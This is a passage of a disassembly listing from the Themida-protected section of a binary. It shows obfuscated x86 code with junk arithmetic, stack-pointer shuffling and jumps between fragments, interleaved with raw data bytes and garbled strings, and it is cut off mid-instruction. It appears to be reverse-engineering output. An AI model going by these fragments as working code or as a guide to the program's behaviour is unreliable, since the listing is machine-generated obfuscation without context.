[edi+eax*4] ; --------------------------------------------------------------------------- dw 0C361h dd 813C77FFh, 370A242Ch, 0D9E906D3h db 3Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5A8DC3: ; CODE XREF: Themida_:005A8686j add edx, 4 add edx, 4 xchg edx, [esp] pop esp add ecx, esi push dword ptr [esp] pop esi jmp loc_5A84FB ; --------------------------------------------------------------------------- loc_5A8DDE: ; CODE XREF: Themida_:005A962Aj mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp jmp loc_5A4128 ; --------------------------------------------------------------------------- loc_5A8DF2: ; CODE XREF: Themida_:0059F76Ej or ebp, 27769D9h inc ebp push edi jmp loc_5A9393 ; --------------------------------------------------------------------------- loc_5A8DFF: ; CODE XREF: Themida_:005A00F4j add eax, ecx sub eax, 2DDE3A56h jmp loc_5A3E6E ; --------------------------------------------------------------------------- loc_5A8E0B: ; CODE XREF: Themida_:005A7EB1j ; Themida_:005ABF75j add esi, 4 xchg esi, [esp] mov esp, [esp] add bl, ch pop cx add bl, al jmp loc_59A5D1 ; --------------------------------------------------------------------------- loc_5A8E1F: ; CODE XREF: Themida_:005A94B8j pop ebx jmp loc_5AB72B ; --------------------------------------------------------------------------- db 83h, 0C1h, 4 dd 5C240C87h, 0FEFEBCE9h, 1C77FFFFh, 1858669Dh, 0E99C2404h dd 0FFFEF54Ch, 7105D029h, 5709674h, 57C97726h, 0E92434FFh dd 0FFFFDFAFh ; --------------------------------------------------------------------------- loc_5A8E54: ; CODE XREF: Themida_:005A4893j add eax, 4 xchg eax, [esp] pop esp push ecx push eax mov eax, 4 jmp loc_5A2F64 ; --------------------------------------------------------------------------- loc_5A8E67: ; CODE XREF: Themida_:0059CAB9j mov edx, 4 mov eax, edx pop edx add ecx, eax pop eax add ecx, 4 xchg ecx, [esp] pop esp push 3A32h mov [esp], ebp mov ebp, 25A66774h add edi, 555368A9h sub edi, ebp sub edi, 555368A9h pop ebp add edi, 606070B4h add edi, ebp sub edi, 606070B4h add edi, 25A66774h jmp loc_5A30AD ; --------------------------------------------------------------------------- dw 0E954h dd 0FFFF7773h ; --------------------------------------------------------------------------- loc_5A8EB4: ; CODE XREF: Themida_:005AC8C7j push edi mov edi, 7DFF6A63h sub eax, edi pop edi mov edi, eax jmp loc_5A1313 ; --------------------------------------------------------------------------- dd 0E9E18951h, 0FFFF43B3h, 8306EBC1h, 8143FFC3h, 473746CBh dd 6DF38140h, 2945D642h, 0BF575BDDh, 55F37F8Bh, 612BD55h dd 0EF090116h, 4E7C15Dh, 3A76B850h, 0C729051Dh, 0FF40F7E9h db 0FFh ; --------------------------------------------------------------------------- loc_5A8F01: ; CODE XREF: Themida_:005A2F9Dj sub ecx, 3D244A92h pop ebx xchg ecx, [esp] mov esp, [esp] mov [esp], eax push dword ptr [esp] pop ebx sub esp, 4 jmp loc_5A3EFE ; --------------------------------------------------------------------------- loc_5A8F20: ; CODE XREF: Themida_:005987EFj shr eax, 4 add eax, 5BF11713h mov ebp, eax pop eax jmp loc_5A4911 ; --------------------------------------------------------------------------- loc_5A8F30: ; CODE XREF: Themida_:0059CA98j xor ch, bh pop ebx jmp loc_5A7C52 ; --------------------------------------------------------------------------- dd 12A4E959h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A8F3E: ; CODE XREF: Themida_:005A2E27j push small 587Ah mov [esp], cx movzx cx, al push cx pushf jmp loc_59838C ; --------------------------------------------------------------------------- loc_5A8F52: ; CODE XREF: Themida_:005A1A92j mov [esp], ecx jmp loc_5A29DB ; --------------------------------------------------------------------------- dw 0F501h dd 6056ED81h, 348B6280h, 73E95524h db 0F3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A8F6B: ; CODE XREF: Themida_:0059CB79j sub dh, 40h dec dh push ecx jmp loc_5A2C47 ; --------------------------------------------------------------------------- loc_5A8F76: ; CODE XREF: Themida_:005A3E0Cj add eax, ebx pop ebx add eax, 276F147Eh sub eax, 0EF47C142h and ebx, eax jmp loc_5A9A4A ; --------------------------------------------------------------------------- loc_5A8F8A: ; CODE XREF: Themida_:0059B24Dj ; Themida_:005A6729j mov ebx, esp push esi mov esi, 4 add ebx, 1A3F044Bh jmp loc_5ABD91 ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 83000000h, 2C8904ECh, 81E58924h, 4C5h, 4C58300h, 8B242C87h dd 0E8312424h, 8B2434FFh, 0C483242Ch, 10E95104h db 45h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A8FCB: ; CODE XREF: Themida_:005A420Ej xor [esp], edx xor edx, [esp] mov esp, [esp] push 951h jmp loc_59922A ; --------------------------------------------------------------------------- dw 0CC80h dd 0CB870F46h, 0E9FFFF6Bh, 0FFFFEE94h, 0C7815F54h, 4, 0EFC0FF2Ch dd 9AF78004h, 0A4F2850Fh, 82E9FFFFh, 0E9FFFF65h, 0FFFF942Dh db 5Ch ; --------------------------------------------------------------------------- loc_5A900D: ; CODE XREF: Themida_:0059E2BBj pop ebx add esi, 4 jmp loc_5AE19A ; --------------------------------------------------------------------------- loc_5A9016: ; CODE XREF: Themida_:0059D7EDj sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], ecx jmp loc_59E5D0 ; --------------------------------------------------------------------------- loc_5A9028: ; CODE XREF: Themida_:005997D2j mov ebp, 673D0009h dec ebp push esi mov esi, 69E3508Eh xor ebp, esi pop esi and ebp, 64951675h xor ebp, 174E349Ch push eax mov eax, ebp mov edx, eax jmp loc_5A0D79 ; --------------------------------------------------------------------------- loc_5A904D: ; CODE XREF: Themida_:005ABE94j add ebp, 133FCD81h push ebx push eax mov eax, 3A5A4A9Fh jmp loc_599E92 ; --------------------------------------------------------------------------- loc_5A905F: ; CODE XREF: Themida_:0059F83Ej pop eax jmp loc_5AF013 ; --------------------------------------------------------------------------- db 0FFh, 77h, 1Ch dd 6658669Dh, 9C240419h, 0FEF317E9h db 0FFh ; --------------------------------------------------------------------------- loc_5A9075: ; CODE XREF: Themida_:005A3A44j add esi, 4 xchg esi, [esp] jmp loc_59A555 ; --------------------------------------------------------------------------- loc_5A9080: ; CODE XREF: Themida_:005A22D7j xchg eax, [esp] pop esp jmp loc_5AD4DB ; --------------------------------------------------------------------------- db 0E9h, 0CFh, 24h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5A908E: ; CODE XREF: Themida_:005A352Cj pop edx jmp loc_5A78DB ; --------------------------------------------------------------------------- loc_5A9094: ; CODE XREF: Themida_:005A9CB1j mov ebx, 4 add eax, ebx pop ebx add eax, 4 push 77A7h mov [esp], eax push dword ptr [esp+4] pop eax pop dword ptr [esp] pop esp jmp loc_5A8D70 ; --------------------------------------------------------------------------- db 0C1h, 0EDh, 4 dd 0EBEF581h, 0E8015D27h, 636BE95Dh, 0E3890000h, 4C381h dd 0EB810000h, 4, 0E9241C33h, 5C62h, 8124148Bh, 4C4h, 0A70400h dd 51A72CD0h, 0FF09F9E9h db 0FFh ; --------------------------------------------------------------------------- loc_5A90F1: ; CODE XREF: Themida_:005A4BFFj push eax push edx mov edx, 4 push 1F56h mov [esp], edx sub esp, 4 mov [esp], ebp push ebx mov ebx, 7ED41C1Fh jmp loc_5A0CF7 ; --------------------------------------------------------------------------- loc_5A9111: ; CODE XREF: Themida_:005A685Bj push dword ptr [esp] pop ecx add esp, 4 sub al, 9Bh sub al, dl add al, 9Bh push dword ptr [esp] pop edx add esp, 4 pop ecx push eax jmp loc_5AA0AC ; --------------------------------------------------------------------------- loc_5A912F: ; CODE XREF: Themida_:005A0005j ; Themida_:005A52DAj push dword ptr [esp] push dword ptr [esp] jmp loc_5AD705 ; --------------------------------------------------------------------------- dw 4BEh dd 0E9000000h, 0FFFF9C49h ; --------------------------------------------------------------------------- loc_5A9144: ; CODE XREF: Themida_:005A551Cj pop edx push ebx mov ebx, esp jmp loc_5AAABF ; --------------------------------------------------------------------------- loc_5A914D: ; CODE XREF: Themida_:0059F644j ; Themida_:005A6496j jns loc_5A39AF sub esi, 48E06892h jmp loc_5ABAA8 ; --------------------------------------------------------------------------- loc_5A915E: ; CODE XREF: Themida_:0059A68Ej xor esi, ebp pop ebp jmp loc_598534 ; --------------------------------------------------------------------------- loc_5A9166: ; CODE XREF: Themida_:005A56C1j mov [esp], ebp mov ebp, 3AED3C09h not ebp sub ebp, 0FFFFFFFFh jmp loc_5ABF12 ; --------------------------------------------------------------------------- loc_5A9178: ; CODE XREF: Themida_:0059AC80j ; Themida_:005A538Ej mov [esp], esp add dword ptr [esp], 4 pop eax add eax, 4 sub esp, 4 mov [esp], ecx jmp loc_5A5A32 ; --------------------------------------------------------------------------- dd 31241433h, 14332414h, 24248B24h, 0FF84CBE9h, 62E957FFh db 18h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A91A7: ; CODE XREF: Themida_:005A03C6j mov ebx, 1E22372Dh or eax, ebx jmp loc_5A3AFB ; --------------------------------------------------------------------------- loc_5A91B3: ; CODE XREF: Themida_:0059B54Aj push ecx push dword ptr [esp+4] mov ecx, [esp] add esp, 4 jmp loc_59C7A1 ; --------------------------------------------------------------------------- aQhu2xSb5 db 'Qh2{ιB5',0 align 2 loc_5A91CE: ; CODE XREF: Themida_:0059B286j dec esi jmp loc_59923A ; --------------------------------------------------------------------------- dd 243C8B54h, 4C481h, 64E90000h, 5900005Ah, 0B151D800h dd 1C180DAh, 0B652C9FEh, 68C6FEACh, 0 dd 8A243428h, 7EE92434h, 1FFFFD1h, 0EC835DE8h, 0F614E904h dd 148BFFFEh, 12F4E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5A9216: ; CODE XREF: Themida_:loc_5AE959j shr cl, 1 jp loc_5AE1E0 jmp loc_598DEB ; --------------------------------------------------------------------------- db 1 dd 0CAC681C6h, 50107A3Ch, 0F23BE8B8h, 58C6291Ch, 4EC81h dd 3C890000h, 4F2ABF24h, 0FE296F4Fh, 2A59E95Fh, 8B660000h dd 0BAE92404h db 0D1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A9253: ; CODE XREF: Themida_:005AE223j push 1768h mov [esp], ecx jmp loc_59A035 ; --------------------------------------------------------------------------- loc_5A9260: ; CODE XREF: Themida_:0059EB10j pop esi dec edx shl edx, 5 xor edx, 4A92FD0h mov ecx, edx pop edx mov esi, ecx pop ecx jmp loc_5A3268 ; --------------------------------------------------------------------------- loc_5A9276: ; CODE XREF: Themida_:0059ADA2j push eax mov ah, bh mov cl, ah pop eax push dword ptr [esp] mov ebx, [esp] add esp, 4 add esp, 4 jmp loc_59F843 ; --------------------------------------------------------------------------- loc_5A9290: ; CODE XREF: Themida_:0059AB5Aj add esp, 2 push 1418h jmp loc_5A28CA ; --------------------------------------------------------------------------- loc_5A929D: ; CODE XREF: Themida_:loc_5992ABj push ebx jmp loc_5A2900 ; --------------------------------------------------------------------------- db 0ADh dd 4BCBBA52h, 0F2812B46h, 37F451A2h, 8107EAC1h, 1A14ECF2h dd 0E9DAF72Eh, 0FFFF189Fh, 240C8B66h, 0E904EC83h, 0FFFF00F2h ; --------------------------------------------------------------------------- loc_5A92CC: ; CODE XREF: Themida_:005988DEj mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], eax push 2E84692Ch pop eax and eax, 2BB25426h jnp loc_5AD007 push edx mov edx, 7C362328h xor eax, edx mov edx, [esp] add esp, 4 jmp loc_59F06D ; --------------------------------------------------------------------------- db 1, 0C6h, 57h dd 19B3E9h db 0 ; --------------------------------------------------------------------------- loc_5A930D: ; CODE XREF: Themida_:005AA0A7j pop esp movzx ax, byte ptr [eax] sub esp, 4 mov [esp], ebx sub esp, 4 push esp pop dword ptr [esp] push esi jmp loc_59B414 ; --------------------------------------------------------------------------- loc_5A9325: ; CODE XREF: Themida_:0059FE47j add esp, 4 xor edi, ebp pop ebp xor eax, edi mov edi, [esp] jmp loc_59867A ; --------------------------------------------------------------------------- dd 17710EBBh, 0CF3811Dh, 811D1771h, 22087C1h, 1657E961h dd 0CB890000h, 0FF5E76E9h db 0FFh ; --------------------------------------------------------------------------- loc_5A9355: ; CODE XREF: Themida_:0059B813j add esi, 0DF8AB5EDh jmp loc_5AE70F ; --------------------------------------------------------------------------- dd 0E95FFE29h, 3FF1h, 405h, 24048700h, 34B3535Ch, 272EE951h dd 0DE90000h db 0F0h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5A937F: ; CODE XREF: Themida_:0059ED20j push dword ptr [esp+4] pop ecx pop dword ptr [esp] jmp loc_5A15C1 ; --------------------------------------------------------------------------- loc_5A938C: ; CODE XREF: Themida_:0059A132j inc ch jmp loc_59CDC4 ; --------------------------------------------------------------------------- loc_5A9393: ; CODE XREF: Themida_:005A8DFAj mov edi, 212130E1h jmp loc_5AA203 ; --------------------------------------------------------------------------- loc_5A939D: ; CODE XREF: Themida_:00599A73j and ebx, 6CD561D4h xor ebx, 4F4729C6h push ebp push ebx mov ebx, 0DF47FAD8h mov ebp, ebx mov ebx, [esp] add esp, 4 xor ebx, ebp pop ebp add eax, ebx jmp loc_5A7A44 ; --------------------------------------------------------------------------- loc_5A93C2: ; CODE XREF: Themida_:0059F7AEj mov edi, 2794C08h add [esp+4], edi pop edi pop esi sub esi, 2794C08h pop eax sub edx, esi jmp loc_59B4F0 ; --------------------------------------------------------------------------- loc_5A93DB: ; CODE XREF: Themida_:0059AE17j push edx sub esp, 4 mov [esp], eax mov ah, 97h mov dh, 25h xor dh, ah pop eax shl dh, 3 add dh, 92h jmp loc_5A3B1A ; --------------------------------------------------------------------------- loc_5A93F7: ; CODE XREF: Themida_:loc_5AC5D2j xor al, 25h jmp loc_5A74E0 ; --------------------------------------------------------------------------- dw 0EB80h dd 0E9DE280Ch, 0FFFF778Dh ; --------------------------------------------------------------------------- loc_5A9408: ; CODE XREF: Themida_:005A4C08j push 426Eh mov [esp], ebp push 4E6h push esp pop dword ptr [esp] push ecx jmp loc_5AEEDF ; --------------------------------------------------------------------------- db 0FFh dd 0BEE92434h db 27h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A9427: ; CODE XREF: Themida_:loc_59DFEBj jmp loc_5A020D ; --------------------------------------------------------------------------- dd 240C8B66h, 0FFE833E9h, 79E95EFFh, 5400003Fh, 0D1E9505Eh db 35h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5A9443: ; CODE XREF: Themida_:005A2214j mov edx, 31BF749Bh add edx, 0BCB58B8h jmp loc_59E799 ; --------------------------------------------------------------------------- db 0F7h dd 44F181D9h, 894AC4F5h, 240C8BCAh, 4C481h, 99E90000h dd 8B000034h, 0C4832414h, 2434FF04h, 0FF6FBAE9h db 0FFh ; --------------------------------------------------------------------------- loc_5A9479: ; CODE XREF: Themida_:005A6CA8j mov [esp], ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] pop esp add ebp, ecx jmp loc_59B25D ; --------------------------------------------------------------------------- loc_5A948C: ; CODE XREF: Themida_:0059964Aj mov [esp], ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], ecx push 2414h mov [esp], eax jmp loc_59A744 ; --------------------------------------------------------------------------- loc_5A94AE: ; CODE XREF: Themida_:0059DB7Ej mov bh, 40h sub ch, 0D8h add ch, bh add ch, 0D8h jmp loc_5A8E1F ; --------------------------------------------------------------------------- aPirhX db 'PΰhΒx',0 dd 242C8900h, 11286853h, 815B12DFh, 0AA7884EBh, 0CC800F6Dh dd 83FFFF11h, 0E381FFEBh, 78003E9h, 945BE56h, 0C6810686h dd 1A5B5A08h, 0FFC30DE9h db 0FFh ; --------------------------------------------------------------------------- loc_5A94F5: ; CODE XREF: Themida_:005A3C81j mov [esp], edx mov edx, esp add edx, 4 push 7002h mov [esp], edi jmp loc_5AD98A ; --------------------------------------------------------------------------- loc_5A950D: ; CODE XREF: Themida_:005AF04Cj or dl, al pop eax not dl sub dl, 0E7h jmp loc_5A682F ; --------------------------------------------------------------------------- loc_5A951A: ; CODE XREF: Themida_:loc_5988A9j ; Themida_:005A9AF3j sub ecx, 6B34794Ah jl loc_59BA2D jmp loc_5A9B5C ; --------------------------------------------------------------------------- db 81h dd 0D12A09C6h db 32h ; --------------------------------------------------------------------------- loc_5A9531: ; CODE XREF: Themida_:005AD396j xor ebx, 983FE4C1h jmp loc_59F642 ; --------------------------------------------------------------------------- loc_5A953C: ; CODE XREF: Themida_:005A1D9Dj ; Themida_:005A3E72j push eax push dword ptr [esp+4] pop eax jmp loc_5AC694 ; --------------------------------------------------------------------------- db 1 dd 24348BF5h, 904C483h, 29E91C6Fh db 88h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A9557: ; CODE XREF: Themida_:005AE392j sub bl, dl pop edx add bl, cl add bl, 56h pop cx movzx eax, al push small 685Dh jmp loc_59C7A9 ; --------------------------------------------------------------------------- loc_5A956D: ; CODE XREF: Themida_:005987E1j mov esi, 0F6FCBC30h jmp loc_5A557A ; --------------------------------------------------------------------------- loc_5A9577: ; CODE XREF: Themida_:00599A4Dj and ecx, 328C1ADDh push 4E85h mov [esp], ebx mov ebx, 567241EFh not ebx push edi mov edi, 0 sub edi, ebx xchg edi, ebx pop edi xor ebx, 8C5384Ch dec ebx push eax mov eax, 779A3EE5h dec eax and eax, 2832730h sub eax, 0EF082496h xor ebx, eax pop eax add ebx, 0CDD4FE3Bh jmp loc_5A7F68 ; --------------------------------------------------------------------------- db 33h, 0Ch, 24h dd 242C895Ch, 195B68h, 24348900h, 0B6A76BEh, 34E68177h dd 0F5C6E68h, 0FF8D8483h, 2EEC1FFh, 8E34850Fh, 8E9FFFFh dd 51FFFF8Dh, 4B9h, 0E9CA2900h, 0FFFF6B01h, 4C181h, 0C1830000h dd 5658E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A9606: ; CODE XREF: Themida_:005AEB38j pop edx pop ebx jmp loc_5A35C7 ; --------------------------------------------------------------------------- loc_5A960D: ; CODE XREF: Themida_:005A978Ej xchg eax, [esp] mov esp, [esp] push 7B1Ch mov [esp], ecx push 4 push dword ptr [esp] pop ecx sub esp, 4 mov [esp], ebx jmp loc_5A8DDE ; --------------------------------------------------------------------------- loc_5A962F: ; CODE XREF: Themida_:005A8D33j neg ecx jmp loc_59B666 ; --------------------------------------------------------------------------- loc_5A9636: ; CODE XREF: Themida_:005AD5AEj push ecx jmp loc_5A23AE ; --------------------------------------------------------------------------- loc_5A963C: ; CODE XREF: Themida_:0059B0BEj neg eax push ecx push 660947C7h pop ecx xor ecx, 1DA5165Ah sub eax, ecx jmp loc_5AA9EF ; --------------------------------------------------------------------------- loc_5A9652: ; CODE XREF: Themida_:005A51DDj push eax push dword ptr [esp+4] jmp loc_59F9DA ; --------------------------------------------------------------------------- dd 240C895Ch, 5816E9h, 4EA8300h, 0FF2614E9h db 0FFh ; --------------------------------------------------------------------------- loc_5A966D: ; CODE XREF: Themida_:loc_5A7D10j or eax, 7CC95B89h or eax, 280E65E8h jno loc_59D2C8 jmp loc_5A2B2D ; --------------------------------------------------------------------------- dw 0E280h dd 0D6EA80A8h, 5007EAC0h, 0CD81D5F7h, 62802628h, 8103EDC1h dd 7D64C3E5h, 4CF58164h, 81076F53h, 3E378BF5h, 5DEB0103h dd 0E9E08950h, 0FFFF9848h, 24048B66h, 685A5452h, 3CDh dd 0BE243489h, 4, 16E9F201h, 55FFFF4Ch, 0FFB891E9h db 0FFh ; --------------------------------------------------------------------------- loc_5A96D5: ; CODE XREF: Themida_:005A8332j jmp loc_5A6952 ; --------------------------------------------------------------------------- loc_5A96DA: ; CODE XREF: Themida_:00599962j sub ecx, 39502BACh add ecx, 5CF5573Dh sub ecx, edi sub ecx, 5CF5573Dh push eax mov eax, 39502BACh add ecx, eax pop eax jmp loc_59859C ; --------------------------------------------------------------------------- dd 0FF5D30E9h, 4C483FFh, 70DE9h, 240C8B00h, 51E68956h dd 0A0BF5750h, 5174635Eh, 42AB36B9h, 59CF01EAh, 3C8BF889h dd 4C48324h, 2A8B0F48h, 5000057h, 475D42F3h, 442A8B0Fh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5A973A: ; CODE XREF: Themida_:0059906Fj mov edx, [esp] add esp, 4 sub esp, 4 mov [esp], edx jmp loc_5AF1CD ; --------------------------------------------------------------------------- dw 0C481h dd 4, 8C868h, 24048900h, 25E9E089h, 0FFFFFFA7h, 34FF2434h dd 240C8B24h, 0E9E78957h, 0FFFEEDAFh ; --------------------------------------------------------------------------- loc_5A9774: ; CODE XREF: Themida_:0059E4C8j pop esp jmp loc_5AA44D ; --------------------------------------------------------------------------- loc_5A977A: ; CODE XREF: Themida_:005A6AA7j add eax, 4 push edi mov edi, 4B753C95h sub edi, 4B753C91h add eax, edi pop edi jmp loc_5A960D ; --------------------------------------------------------------------------- loc_5A9793: ; CODE XREF: Themida_:005A0D81j push eax mov eax, 228A2F9Bh not eax jmp loc_5AEEEA ; --------------------------------------------------------------------------- loc_5A97A0: ; CODE XREF: Themida_:0059B389j jmp loc_5ABF6F ; --------------------------------------------------------------------------- loc_5A97A5: ; CODE XREF: Themida_:005A4415j mov ebp, [esp] push ecx mov ecx, esp jmp loc_5AD760 ; --------------------------------------------------------------------------- loc_5A97B0: ; CODE XREF: Themida_:005ACAEEj xor eax, ecx xor eax, ecx xor ecx, eax xor eax, ecx xor ecx, edi xor edi, ecx xor ecx, edi xor edi, edx xor edx, edi xor edi, edx xchg esi, edx not esi xchg esi, edx push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], edi push 5677h mov [esp], edx pop edi mov edx, [esp] add esp, 4 push ecx jmp loc_5A7AA3 ; --------------------------------------------------------------------------- loc_5A97F8: ; CODE XREF: Themida_:005AC3DFj neg edi jns loc_59CED9 jmp loc_5A1FCD ; --------------------------------------------------------------------------- loc_5A9805: ; CODE XREF: Themida_:0059AC41j ; Themida_:loc_5A0B73j pop ebx xor ebx, 64116AE8h mov ecx, ebx pop ebx add ebp, ecx pop ecx xchg ebp, [esp] pop esp push esi jmp loc_59E67E ; --------------------------------------------------------------------------- dd 89240C89h, 4BE56E1h, 1000000h, 0E9535EF1h, 0FFFFFB08h dd 240C8B66h, 1EC468h, 0C229E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A983E: ; CODE XREF: Themida_:005AB28Dj mov edi, [esp] add esp, 4 and ecx, ebp jmp loc_5AD0B1 ; --------------------------------------------------------------------------- a@0xs db '΅@0ει,',7,0 dw 6800h dd 0F7Ah, 81240489h, 4ECh, 1C916800h, 0EC810000h, 4, 83242489h dd 8F042404h, 0EE682404h, 0E900005Ah, 0FFFF6EC9h ; --------------------------------------------------------------------------- loc_5A9884: ; CODE XREF: Themida_:005A2272j push esi push dword ptr [esp+4] mov esi, [esp] push edx push esp pop edx jmp loc_5A2950 ; --------------------------------------------------------------------------- dd 0FAF0C381h, 8E2D399Ch, 29147B3Ch, 3C8E05D8h, 55B147Bh dd 1E304C22h, 222DD829h, 811E304Ch, 4ECh, 240C8900h, 0C70E668h dd 240C8B39h, 81E28952h, 4C2h, 0B06E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5A98D2: ; CODE XREF: Themida_:0059B535j pop ebx sub ecx, 0FDEECF7Bh add esi, ecx jmp loc_5AA939 ; --------------------------------------------------------------------------- dd 33EB68h, 24248900h, 4B850h, 44010000h, 48B0424h, 4C48324h dd 0E9240C8Bh, 0FFFF0D93h, 58C2015Bh, 0FF6EB1E9h db 0FFh ; --------------------------------------------------------------------------- loc_5A9909: ; CODE XREF: Themida_:005A6262j dec ebx jns loc_5A7185 jmp loc_5A140C ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 88000000h db 0EBh, 0B0h, 5 ; --------------------------------------------------------------------------- loc_5A991F: ; CODE XREF: Themida_:005A3D8Dj ; Themida_:005A4010j mov ecx, 72C81F85h shl ecx, 4 sub ecx, 793070D3h shl ecx, 4 and ecx, 632454CEh sub ecx, 3351751h jmp loc_5AB762 ; --------------------------------------------------------------------------- loc_5A9941: ; CODE XREF: Themida_:0059F16Aj push ebp push dword ptr [esp+4] pop ebp jmp loc_5A563F ; --------------------------------------------------------------------------- loc_5A994C: ; CODE XREF: Themida_:005AE130j add ebx, 29B56404h sub ebx, 16C63169h xor eax, ebx pop ebx add eax, 97981A6Bh push esi mov esi, eax jmp loc_59EF9D ; --------------------------------------------------------------------------- loc_5A9968: ; CODE XREF: Themida_:005AD961j push edi mov edi, 124C0B93h neg edi shr edi, 6 shl edi, 7 and edi, 2DEF3674h shl edi, 5 sub edi, 2C82C4F4h mov ecx, edi pop edi add edi, ecx mov ecx, [esp] add esp, 4 add edi, ecx sub edi, offset aEEEEEEEEEEEEEE ; "₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κί"... sub edi, 13DA2498h jmp loc_5A1CB4 ; --------------------------------------------------------------------------- loc_5A99A3: ; CODE XREF: Themida_:005A02B4j js loc_59A095 xor ebp, 18604524h jmp loc_5A530A ; --------------------------------------------------------------------------- loc_5A99B4: ; CODE XREF: Themida_:005A4CB8j add esp, 4 jmp loc_5A2439 ; --------------------------------------------------------------------------- loc_5A99BC: ; CODE XREF: Themida_:0059A22Cj add esi, ecx sub esp, 4 mov [esp], ebp mov ebp, 2EDA560Dh add esi, ebp mov ebp, [esp] add esp, 4 sub esi, 28C0A9Dh mov ecx, [esp] add esp, 4 push eax push ebx mov ebx, 4 jmp loc_59BCBD ; --------------------------------------------------------------------------- loc_5A99EF: ; CODE XREF: Themida_:005A2CDEj mov ebx, 4 jmp loc_5AB320 ; --------------------------------------------------------------------------- loc_5A99F9: ; CODE XREF: Themida_:005AC101j pop dx shl bl, 2 sub bl, 1Ah sub bl, 95h sub al, bl jmp loc_5AD3FD ; --------------------------------------------------------------------------- loc_5A9A0B: ; CODE XREF: Themida_:loc_59860Cj dec ecx jl loc_5AC7D8 jmp loc_59DC2B ; --------------------------------------------------------------------------- loc_5A9A17: ; CODE XREF: Themida_:0059F737j add esp, 4 add edx, 4157882h push ecx mov ecx, 0 jmp loc_5A691B ; --------------------------------------------------------------------------- loc_5A9A2E: ; CODE XREF: Themida_:005A3244j push esi mov esi, 4F563E4Ch or esi, 190283Fh jmp loc_5A4D62 ; --------------------------------------------------------------------------- loc_5A9A3F: ; CODE XREF: Themida_:loc_5A1F7Aj xor edx, 3F1A2417h jmp loc_5A4856 ; --------------------------------------------------------------------------- loc_5A9A4A: ; CODE XREF: Themida_:005A8F85j pop eax push eax mov eax, 22EA2149h add ebx, eax pop eax mov edi, ebx pop ebx add eax, edi pop edi sub esp, 4 mov [esp], esi push ebx sub esp, 4 mov [esp], eax push edi jmp loc_5A6805 ; --------------------------------------------------------------------------- db 81h, 4, 24h dd 55E97D92h, 784ABF57h, 7C295B67h, 3C8B0424h, 4C48324h dd 0FEE903E9h, 241C89FFh, 0FF4A76E9h db 0FFh ; --------------------------------------------------------------------------- loc_5A9A91: ; CODE XREF: Themida_:005A4D5Dj pop ecx add bl, dh mov edx, [esp] jmp loc_59CF68 ; --------------------------------------------------------------------------- loc_5A9A9C: ; CODE XREF: Themida_:005A3780j mov ecx, [esp] push esi jmp loc_5AC082 ; --------------------------------------------------------------------------- db 35h, 0DCh, 66h dd 71255450h, 0D2EC63Ah, 7336605Fh, 0F67A5E2Dh, 8BC6017Fh dd 0C4832404h, 0F066E904h, 5658FFFFh, 0FE6864BEh, 60EE8112h dd 2912FE68h, 4BA8E9F7h, 58660000h, 0E9C828h db 0F7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A9AE3: ; CODE XREF: Themida_:0059BFB1j mov [esp], ecx jmp loc_5A233B ; --------------------------------------------------------------------------- loc_5A9AEB: ; CODE XREF: Themida_:005A3CDAj xor ebx, edi jmp loc_5AABB3 ; --------------------------------------------------------------------------- loc_5A9AF2: ; CODE XREF: Themida_:0059F88Aj push edi jmp loc_5A951A ; --------------------------------------------------------------------------- dd 0E904C683h, 0FFFEF2BAh ; --------------------------------------------------------------------------- loc_5A9B00: ; CODE XREF: Themida_:0059F72Dj push dword ptr [esp+4] mov ecx, [esp] add esp, 4 jmp loc_5AE274 ; --------------------------------------------------------------------------- loc_5A9B0F: ; CODE XREF: Themida_:0059959Aj ; Themida_:005AEF6Cj push eax push edx mov edx, 0B8353DCh mov eax, 7F1A0FFBh xor eax, edx pop edx or eax, 766301F4h shr eax, 7 jmp loc_5A63D4 ; --------------------------------------------------------------------------- db 50h dd 0B7AB35B8h, 58C531CEh, 0EE9EA89h db 14h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5A9B3B: ; CODE XREF: Themida_:005AE0C0j pop esp xor eax, [esp] jmp loc_59E55E ; --------------------------------------------------------------------------- loc_5A9B44: ; CODE XREF: Themida_:0059A620j add edx, 50A45E34h or edx, 0B57122Ah jmp loc_5AA31A ; --------------------------------------------------------------------------- loc_5A9B55: ; CODE XREF: Themida_:0059B61Ej ; Themida_:005AC886j sub edx, eax jmp loc_59D110 ; --------------------------------------------------------------------------- loc_5A9B5C: ; CODE XREF: Themida_:005A9526j add ebp, edx sub ebp, 69C5CEDh pop edx xchg ebp, [esp] mov esp, [esp] sub [esp], eax pushf jmp loc_5A6DC0 ; --------------------------------------------------------------------------- loc_5A9B74: ; CODE XREF: Themida_:0059CEC7j mov [esp], edx mov edx, 1000000h and eax, edx jmp loc_5ACBB8 ; --------------------------------------------------------------------------- loc_5A9B83: ; CODE XREF: Themida_:0059C17Cj push edx mov edx, esp push ecx sub esp, 4 mov [esp], edx jmp loc_5A004A ; --------------------------------------------------------------------------- loc_5A9B95: ; CODE XREF: Themida_:0059E753j jbe loc_5A6916 jmp 